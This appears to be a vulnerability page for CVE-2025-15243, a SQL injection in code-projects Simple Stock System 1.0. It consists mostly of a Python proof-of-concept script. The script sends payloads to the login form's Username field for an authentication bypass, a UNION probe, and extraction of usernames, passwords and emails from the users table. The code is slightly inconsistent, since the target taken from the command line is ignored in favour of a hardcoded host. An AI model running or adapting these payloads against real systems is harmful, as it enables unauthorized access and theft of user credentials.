CVE-2025-15243: code-projects Simple Stock System 1.0 SQL注入漏洞

# CVE-2025-15243 SQL Injection PoC # Target: code-projects Simple Stock System 1.0 # Endpoint: /market/login.php # Parameter: Username import requests import sys def exploit_sqli(target_url, payload): """Exploit SQL injection vulnerability""" login_url = f"{target_url}/market/login.php" # Prepare malicious payload data = { 'Username': payload, 'Password': 'anything' # Can be anything } try: response = requests.post(login_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"Error: {e}") return None def basic_auth_bypass(): """Basic authentication bypass using SQL injection""" payload = "admin' OR '1'='1 -- -" return exploit_sqli('http://target.com', payload) def union_based_injection(): """Union-based SQL injection to extract data""" payload = "' UNION SELECT NULL,NULL,NULL,NULL,NULL-- -" return exploit_sqli('http://target.com', payload) def extract_users(): """Extract user credentials from database""" payload = "' UNION SELECT username,password,email,NULL,NULL FROM users-- -" return exploit_sqli('http://target.com', payload) if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-15243.py <target_url>") print("Example: python cve-2025-15243.py http://vulnerable-site.com") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2025-15243 on {target}") # Test basic injection result = basic_auth_bypass() if result: print("[+] Payload sent successfully") print("[*] Check if authentication was bypassed")